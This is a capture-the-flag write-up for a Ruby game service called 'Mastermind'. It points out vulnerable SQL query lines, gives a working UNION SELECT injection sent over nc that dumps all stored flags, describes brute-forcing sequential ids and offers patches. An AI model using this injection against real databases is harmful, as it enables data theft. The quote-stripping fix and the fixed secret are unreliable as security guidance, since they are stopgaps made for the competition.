Mastermind was an easy service, written on Ruby.
Summary: SQL Injection, guessable id’s, guessable flag (by id)
Here we have a source code file – mmd.rb and SQLite database file – mmd.db. The functionality is rather simple – you can create a game (random number with a secret string (flag) as a prize), play a game (guess a number) with given id, and list unsolved games.
1. SQL Injection
There are many places to inject:
79: @db.execute "INSERT INTO Games (secret,reward) VALUES (\"#{secret}\", \"#{opts}\")" 80: row = @db.execute("SELECT id FROM Games WHERE secret=\"#{secret}\" and reward=\"#{opts}\" LIMIT 1") 81: send(client, "Created game \"#{row[0][0]}\" with reward \"#{opts}\".") 117: if a == nil or b == nil 118: rows = @db.execute("SELECT id FROM Games WHERE solved=0") 119: else 120: rows = @db.execute("SELECT id FROM Games WHERE id >= \"#{a}\" AND id <= \"#{b}\" AND solved=0") 121: end 123: send(client, "Unsolved games: " + rows.join(", ")) ... |
The easiest way to fix it is to filter the whole client’s request:
l = client.gets l = l.gsub(/"/, "") |
Though, there is a place where there is no ” in query – we just add it:
@db.execute("UPDATE Games SET solved=1 WHERE id=\"#{id}\"") |
The exploit is pretty simple:
$ nc 127.0.0.1 2323 Greetings, Professor Falken. How about a nice game of Mastermind? list, play [id] [guess], new [reward], quit list " UNION SELECT reward FROM Games ORDER BY id desc-- Unsolved games: FLAG3, FLAG2, FLAG1 |
So you get all the flags, and the most recent first.
2. Guessing flags
After the gamebot posted a flag, it solved the game: he knew the id and guessed the number’s digits by one. That takes max 60 requests. While he is solving it, we can do a list command and get the flags’ ids. I don’t know how we can fix it, because it seems that listing unsolved games is an important part of the functionality.
But we can shorten guessing time buy changing rand(10**DIGITS) to “000000” – so the bot will make only 6 requests. Funny, don’t?
3. Guessing ids
Now, the enemy can’t list id’s to guess the flags. But id’s are generated by auto_increment in SQLite, so they are 1, 2, 3, …
So, we can bruteforce id’s and guess all the flags. And after each round, we just check s small number of id’s, so it’s rather fast.
The fix is simple:
rand_id = rand(10**10).to_s @db.execute "INSERT INTO Games (id, secret,reward) VALUES (\"#{rand_id}\", \"#{secret}\", \"#{opts}\")" |
So, the new command code is:
if cmd == "new" rows = @db.execute("SELECT COUNT() FROM Games WHERE solved=0") if rows[0][0] > MAXGAMES send(client, "Maximum number of unsolved games already reached.") send(client, "Please solve those games first before creating new ones.") return end secret = "0"*DIGITS rand_id = rand(10**10).to_s @db.execute "INSERT INTO Games (id, secret,reward) VALUES (\"#{rand_id}\", \"#{secret}\", \"#{opts}\")" row = @db.execute("SELECT id FROM Games WHERE secret=\"#{secret}\" and reward=\"#{opts}\" LIMIT 1") send(client, "Created game \"#{row[0][0]}\" with reward \"#{opts}\".") |
Also, there was a bug – MAXGAMES was only 10, so sometimes the service rejected to accept new flags. The fix is to change the constant or to comment out that code.